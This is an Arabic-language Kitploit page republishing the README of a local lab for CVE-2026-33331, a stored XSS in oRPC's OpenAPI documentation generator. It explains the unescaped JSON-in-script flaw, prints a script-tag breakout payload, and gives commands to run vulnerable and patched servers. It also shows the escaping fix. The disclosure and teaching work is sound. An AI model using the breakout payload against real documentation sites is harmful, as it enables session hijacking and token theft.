Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-33331 — مختبر محلي يعيد إنتاج XSS مخزّن في توليد مستندات OpenAPI الخاصة بـ oRPC (CVE-2026-33331)، مع إصدارات قابلة للاستغلال ومُصحّحة للمقارنة وPoC مستقل. | Kitploit
أدوات/GitHubGitHub/abhayclasher/cve-2026-33331
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويبالتعلم والتعليممختبرات وتدريب عملي
GitHubabhayclasher/cve-2026-33331

CVE-2026-33331

مختبر محلي يعيد إنتاج XSS مخزّن في توليد مستندات OpenAPI الخاصة بـ oRPC (CVE-2026-33331)، مع إصدارات قابلة للاستغلال ومُصحّحة للمقارنة وPoC مستقل.

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-33331 — تخزين XSS في المكوّن الإضافي OpenAPI Reference الخاص بـ oRPC

CVE GHSA CWE-79 Patched

مختبر إثبات مفهوم لثغرة تخزين XSS في توليد توثيق OpenAPI الخاص بـ orpc


الغرض

يبني oRPC صفحات توثيق API من مواصفة OpenAPI. قبل الإصدار v1.13.9 كان يضع المواصفة مباشرة داخل وسم <script> باستخدام JSON.stringify() دون أي ترميز HTML. أي حقل يتحكم فيه المهاجم، مثل ، يمكنه إغلاق ذلك الوسم مبكرًا وتشغيل سكربت.

info.description

يمنحك هذا المستودع مختبرًا محليًا لإعادة إنتاج الثغرة، بالإضافة إلى نسخة مصححة للمقارنة معها.

حقائق سريعة

الحقلالقيمة
معرف CVECVE-2026-33331
GHSAGHSA-7f6v-3gx7-27q8
CWECWE-79 (تحييد غير صحيح للمدخلات أثناء توليد صفحة الويب)
المنتجmiddleapi/orpc
المتأثرجميع الإصدارات الأقل من v1.13.9
المصححv1.13.9
الاكتشافAbhay Kumar (@abhayclasher)

تفاصيل الثغرة

الكود القابل للاستغلال في packages/openapi/src/plugins/openapi-reference.ts يعرض المواصفة بهذا الشكل:

root@kitploit:~
<script id="spec" type="application/json">${JSON.stringify(spec)}</script>

ينتج JSON.stringify() JSON صالحًا، لكنه لا يهرب الرمزين < أو >. لا يزال المتصفح يتعامل مع </script> كوسم إغلاق HTML، حتى داخل <script type="application/json">.

حمولة في info.description تؤدي إلى التنفيذ:

root@kitploit:~
"</script><script>alert('XSS')</script>"

يرى المتصفح:

root@kitploit:~
<script id="spec" type="application/json">{"info":{"description":"
</script><script>alert('XSS')</script>"}}
</script>

أول </script> يغلق الكتلة. كل ما بعده يعمل كـ JavaScript مضمّن.

التأثير

  • اختطاف الجلسة عبر سرقة ملفات تعريف الارتباط أو الرموز
  • استدعاءات API تعسفية نيابةً عن الضحية الذي يشاهد التوثيق
  • طبقات تصيّد معروضة داخل نطاق التوثيق الموثوق

ينطبق هذا عندما يبني تطبيق مواصفات OpenAPI من مدخلات يتحكم فيها المستخدم، وهو بالضبط الحال الذي يتيحه oRPC من خلال تعريفات الموجّه (router).

متطلبات النظام

  • Node.js 18 أو أحدث
  • Docker (اختياري، للمختبر المعبأ في حاوية)
  • 500 ميجابايت من مساحة القرص الحرة

الإعداد

الخيار 1: التشغيل المباشر

root@kitploit:~
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331/app
npm install
node server.js

الخيار 2: التشغيل باستخدام Docker

root@kitploit:~
git clone https://github.com/abhayclasher/CVE-2026-33331.git
cd CVE-2026-33331
docker compose up -d

الاستخدام

بعد بدء تشغيل الخادم، قم بزيارة هذه العناوين:

الرابطالوصف
http://localhost:3000/docsصفحة التوثيق القابلة للاستغلال — يتم تنفيذ حمولة XSS عند التحميل
http://localhost:3000/docs/safeنفس الصفحة مع تطبيق تصحيح v1.13.9
http://localhost:3000/spec.jsonمواصفة OpenAPI الخام بصيغة JSON

ستقوم النسخة القابلة للاستغلال بتشغيل alert() عند تحميل الصفحة، مما يؤكد تنفيذ السكربت. تعرض النسخة المصححة نفس المواصفة الخبيثة بأمان — تظهر الحمولة كنص عادي.

يمكنك أيضًا تشغيل PoC المستقل:

root@kitploit:~
cd poc
node exploit.js

يقوم هذا بتشغيل خادم مصغّر على المنفذ 3000 يوضح نفس الثغرة دون سياق التطبيق الكامل.

كيف تعمل

تدفق الاكتشاف

root@kitploit:~
1. يتحكم المهاجم في حقل داخل مواصفة OpenAPI (مثل description)
2. يولد oRPC HTML التوثيق باستخدام JSON.stringify(spec)
3. يغلق </script> الموجود في الحمولة وسم <script> مبكرًا
4. ينفذ المتصفح ما يليه كـ JavaScript مضمّن

سلسلة الهجوم

root@kitploit:~
┌─────────────────────────────────────────────────────┐
│  1. مواصفة خبيثة مصاغة:                              │
│                                                       │
│     info.description =                                │
│       "</script><script>alert('XSS')</script>"        │
│                                                       │
│  2. orpc يدمج المواصفة في HTML:                       │
│                                                       │
│     <script id="spec" type="application/json">        │
│     {"info":{"description":"</script>    <-- وسم      │
│       <script>alert('XSS')</script>      <-- حمولة    │
│       "}}                                             │
│     </script>                                         │
│                                                       │
│  3. المتصفح ينفذ alert('XSS')                         │
└─────────────────────────────────────────────────────┘

الإصلاح

يقدم الإصدار 1.13.9 دالة escapeJsonForHtml()، التي تستبدل الأحرف الحساسة لـ HTML بترميزات Unicode قبل تضمين JSON في وسم السكربت:

root@kitploit:~
const escapeJsonForHtml = (obj) => JSON.stringify(obj)
  .replace(/&/g, '\\u0026')
  .replace(/'/g, '\\u0027')
  .replace(/</g, '\\u003C')
  .replace(/>/g, '\\u003E')
  .replace(/\//g, '\\u002F');

تعمل ترميزات Unicode لأنها تبقى JSON صالحًا — يعيد JSON.parse() بناء السلسلة الأصلية — لكنها لا تبدو أبدًا كـ HTML لمحلّل المتصفح.

كما نقل التصحيح طريقة قراءة JSON من سمة dataset.config في DOM (التي كانت تتعطل عندما تحتوي القيم على أقواس) إلى تعيين JSON المهرّب مباشرةً إلى متغير مضمّن.

عرض الالتزام الكامل: 4f0efa8

هيكل المشروع

root@kitploit:~
CVE-2026-33331/
├── README.md               # هذا الملف
├── docker-compose.yml      # إعداد مختبر Docker
├── app/
│   ├── Dockerfile          # إعداد بناء الحاوية
│   ├── package.json        # تبعيات Node.js
│   └── server.js           # عارض التوثيق القابل للاستغلال والمصحح
└── poc/
    └── exploit.js          # إثبات مفهوم مصغّر مستقل

المراجع

  • NVD — CVE-2026-33331
  • GitHub Security Advisory
  • Patch Commit
  • Release v1.13.9
  • CWE-79

أُبلغت بواسطة Abhay Kumar. هذا المستودع مخصص للاستخدام التعليمي المحلي فقط. لا تنشر الخادم القابل للاستغلال على شبكة عامة.

لأغراض تعليمية فقط — استخدم في بيئات معزولة

تنزيل الأداة